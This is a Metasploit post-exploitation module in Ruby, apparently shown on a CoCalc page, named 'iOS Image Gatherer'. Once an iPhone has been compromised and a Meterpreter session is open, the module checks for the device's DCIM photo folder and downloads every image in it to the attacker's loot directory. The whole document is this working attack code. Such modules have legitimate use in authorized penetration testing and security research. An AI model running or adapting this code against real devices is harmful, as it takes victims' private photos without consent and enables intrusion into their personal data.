CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Auxiliary::Report
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'iOS Image Gatherer',
15
        'Description' => %q{
16
          This module collects images from iPhones.
17
          Module was tested on iOS 10.3.3 on an iPhone 5.
18
        },
19
        'License' => MSF_LICENSE,
20
        'Author' => [ 'Shelby Pace' ], # Metasploit Module
21
        'Platform' => [ 'apple_ios' ],
22
        'SessionTypes' => [ 'meterpreter' ],
23
        'Compat' => {
24
          'Meterpreter' => {
25
            'Commands' => %w[
26
              core_channel_close
27
              core_channel_eof
28
              core_channel_open
29
              core_channel_read
30
              stdapi_fs_stat
31
            ]
32
          }
33
        }
34
      )
35
    )
36
  end
37

38
  def enum_img(f_path)
39
    path = File.join(Msf::Config.loot_directory, Rex::Text.rand_text_alpha(6))
40
    local_path = File.expand_path(path)
41

42
    ios_imgs = dir(f_path)
43
    print_status("Directory for iOS images: #{local_path}")
44

45
    opts = { 'block_size' => 262144 }
46
    ios_imgs.each do |img|
47
      print_status("Downloading image: #{img}")
48
      client.fs.file.download_file("#{local_path}/#{img}", "#{f_path}/#{img}", opts)
49
    rescue StandardError
50
      print_error("#{img} could not be downloaded")
51
    end
52
  end
53

54
  def run
55
    img_path = '/private/var/mobile/Media/DCIM/100APPLE'
56
    unless directory?(img_path)
57
      fail_with(Failure::NotFound, 'Could not find the default image file path')
58
    end
59
    print_good('Image path found. Will begin searching for images...')
60

61
    enum_img(img_path)
62
  end
63
end
64

65